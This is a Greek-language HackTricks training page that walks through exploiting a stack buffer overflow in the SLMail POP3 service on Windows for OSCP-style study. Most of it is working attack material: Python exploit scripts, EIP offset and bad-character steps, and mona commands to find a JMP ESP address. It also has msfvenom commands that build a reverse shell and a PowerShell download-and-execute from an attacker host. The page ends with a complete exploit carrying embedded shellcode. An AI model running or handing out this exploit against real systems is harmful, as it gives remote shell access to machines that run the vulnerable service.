mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
289 lines
14 KiB
Markdown
289 lines
14 KiB
Markdown
# Εκμετάλλευση των Windows (Βασικός Οδηγός - OSCP επίπεδο)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
## **Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail**
|
||
|
||
## Επανεκκίνηση της υπηρεσίας SLMail
|
||
|
||
Κάθε φορά που χρειάζεστε να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
|
||
```
|
||
net start slmail
|
||
```
|
||
![](<../.gitbook/assets/image (23) (1).png>)
|
||
|
||
## Πολύ απλό πρότυπο εκμετάλλευσης Python
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
import socket
|
||
|
||
# Ορίζουμε τη διεύθυνση IP και τη θύρα του στόχου
|
||
target_ip = "192.168.1.100"
|
||
target_port = 1337
|
||
|
||
# Δημιουργούμε το payload
|
||
payload = b"A" * 100
|
||
|
||
# Δημιουργούμε το socket
|
||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
||
# Συνδέουμε το socket με τον στόχο
|
||
s.connect((target_ip, target_port))
|
||
|
||
# Αποστέλλουμε το payload στον στόχο
|
||
s.send(payload)
|
||
|
||
# Κλείνουμε τη σύνδεση
|
||
s.close()
|
||
```
|
||
|
||
Αυτό είναι ένα πολύ απλό πρότυπο εκμετάλλευσης Python. Ορίζουμε τη διεύθυνση IP και τη θύρα του στόχου, δημιουργούμε ένα payload από 100 bytes και στέλνουμε το payload στον στόχο μέσω ενός socket. Μετά την αποστολή, κλείνουμε τη σύνδεση.
|
||
```python
|
||
#!/usr/bin/python
|
||
|
||
import socket
|
||
|
||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
ip = '10.11.25.153'
|
||
port = 110
|
||
|
||
buffer = 'A' * 2700
|
||
try:
|
||
print "\nLaunching exploit..."
|
||
s.connect((ip, port))
|
||
data = s.recv(1024)
|
||
s.send('USER username' +'\r\n')
|
||
data = s.recv(1024)
|
||
s.send('PASS ' + buffer + '\r\n')
|
||
print "\nFinished!."
|
||
except:
|
||
print "Could not connect to "+ip+":"+port
|
||
```
|
||
## **Αλλαγή γραμματοσειράς στο Immunity Debugger**
|
||
|
||
Πηγαίνετε στο `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||
|
||
## **Σύνδεση της διεργασίας με το Immunity Debugger:**
|
||
|
||
**File --> Attach**
|
||
|
||
![](<../.gitbook/assets/image (24) (1) (1).png>)
|
||
|
||
**Και πατήστε το κουμπί START**
|
||
|
||
## **Αποστολή του exploit και έλεγχος αν επηρεάζεται το EIP:**
|
||
|
||
![](<../.gitbook/assets/image (25) (1) (1).png>)
|
||
|
||
Κάθε φορά που διακόπτετε την υπηρεσία, πρέπει να την επανεκκινήσετε, όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
|
||
|
||
## Δημιουργία ενός μοτίβου για τροποποίηση του EIP
|
||
|
||
Ο μοτίβος πρέπει να είναι τόσο μεγάλος όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
|
||
|
||
![](<../.gitbook/assets/image (26) (1) (1).png>)
|
||
```
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||
```
|
||
Αλλάξτε τον buffer της εκμετάλλευσης και ορίστε το μοτίβο και εκτελέστε την εκμετάλλευση.
|
||
|
||
Θα πρέπει να εμφανιστεί ένα νέο σφάλμα, αλλά με διαφορετική διεύθυνση EIP:
|
||
|
||
![](<../.gitbook/assets/image (27) (1) (1).png>)
|
||
|
||
Ελέγξτε αν η διεύθυνση βρίσκεται στο μοτίβο σας:
|
||
|
||
![](<../.gitbook/assets/image (28) (1) (1).png>)
|
||
```
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||
```
|
||
Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στη θέση 2606** του buffer.
|
||
|
||
Ελέγξτε την τροποποίηση του buffer του exploit:
|
||
```
|
||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||
```
|
||
Με αυτό το buffer, το EIP που κατέρρευσε θα πρέπει να δείχνει στο 42424242 ("BBBB")
|
||
|
||
![](<../.gitbook/assets/image (30) (1) (1).png>)
|
||
|
||
![](<../.gitbook/assets/image (29) (1) (1).png>)
|
||
|
||
Φαίνεται ότι λειτουργεί.
|
||
|
||
## Έλεγχος για χώρο Shellcode μέσα στο stack
|
||
|
||
600B θα πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
|
||
|
||
Ας αλλάξουμε το buffer:
|
||
```
|
||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||
```
|
||
Εκτελέστε τη νέα εκμετάλλευση και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode.
|
||
|
||
![](<../.gitbook/assets/image (31) (1).png>)
|
||
|
||
![](<../.gitbook/assets/image (32) (1).png>)
|
||
|
||
Μπορείτε να δείτε ότι όταν επιτυγχάνεται η ευπάθεια, το EBP δείχνει στο shellcode και έχουμε αρκετό χώρο για να τοποθετήσουμε ένα shellcode εδώ.
|
||
|
||
Σε αυτήν την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Είναι αρκετό.
|
||
|
||
## Έλεγχος για κακούς χαρακτήρες
|
||
|
||
Αλλάξτε ξανά το buffer:
|
||
```
|
||
badchars = (
|
||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
||
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
||
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
||
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
||
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
||
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
||
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
||
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
||
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
||
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
||
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
||
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
||
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
||
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||
)
|
||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||
```
|
||
Τα κακά χαρακτήρες ξεκινούν από το 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
|
||
|
||
Εκτελέστε επαναληπτικά την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που θεωρούνται άχρηστοι:.
|
||
|
||
Για παράδειγμα:
|
||
|
||
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη από τον χαρακτήρα 0x09).
|
||
|
||
![](<../.gitbook/assets/image (33) (1).png>)
|
||
|
||
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **αποφεύγεται ο χαρακτήρας 0x0D**:
|
||
|
||
![](<../.gitbook/assets/image (34) (1).png>)
|
||
|
||
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
|
||
|
||
Χρησιμοποιώντας:
|
||
```
|
||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||
```
|
||
Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει:
|
||
|
||
* **Rebase: False**
|
||
* **SafeSEH: False**
|
||
* **ASLR: False**
|
||
* **NXCompat: False**
|
||
* **OS Dll: True**
|
||
|
||
![](<../.gitbook/assets/image (35) (1).png>)
|
||
|
||
Τώρα, μέσα σε αυτήν τη μνήμη θα πρέπει να βρείτε ορισμένα bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
|
||
```
|
||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||
```
|
||
**Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μια που δεν περιέχει κανένα κακό χαρακτήρα:**
|
||
|
||
![](<../.gitbook/assets/image (36) (1).png>)
|
||
|
||
**Σε αυτήν την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
|
||
|
||
## Δημιουργία shellcode
|
||
```
|
||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||
```
|
||
Εάν το εκμεταλλευτήριο δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας του shell φτάνει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδικών shell για τις ίδιες παραμέτρους).
|
||
|
||
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον και τη διεύθυνση επιστροφής για να κάνετε JMP ESP, και ολοκληρώστε το εκμεταλλευτήριο:
|
||
```bash
|
||
#!/usr/bin/python
|
||
|
||
import socket
|
||
|
||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
ip = '10.11.25.153'
|
||
port = 110
|
||
|
||
shellcode = (
|
||
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
||
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
||
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
||
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
||
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
||
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
||
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
||
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
||
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
||
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
||
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
||
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
||
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
||
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
||
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
||
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
||
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
||
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
||
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
||
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
||
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
||
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
||
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
||
"\x2d\xb8\x63\xe2\x4e\xe9"
|
||
)
|
||
|
||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||
try:
|
||
print "\nLaunching exploit..."
|
||
s.connect((ip, port))
|
||
data = s.recv(1024)
|
||
s.send('USER username' +'\r\n')
|
||
data = s.recv(1024)
|
||
s.send('PASS ' + buffer + '\r\n')
|
||
print "\nFinished!."
|
||
except:
|
||
print "Could not connect to "+ip+":"+port
|
||
```
|
||
{% hint style="warning" %}
|
||
Υπάρχουν shellcodes που θα **αντικαταστήσουν τον εαυτό τους**, για αυτό είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
|
||
{% endhint %}
|
||
|
||
## Βελτίωση του shellcode
|
||
|
||
Προσθέστε αυτές τις παραμέτρους:
|
||
```
|
||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|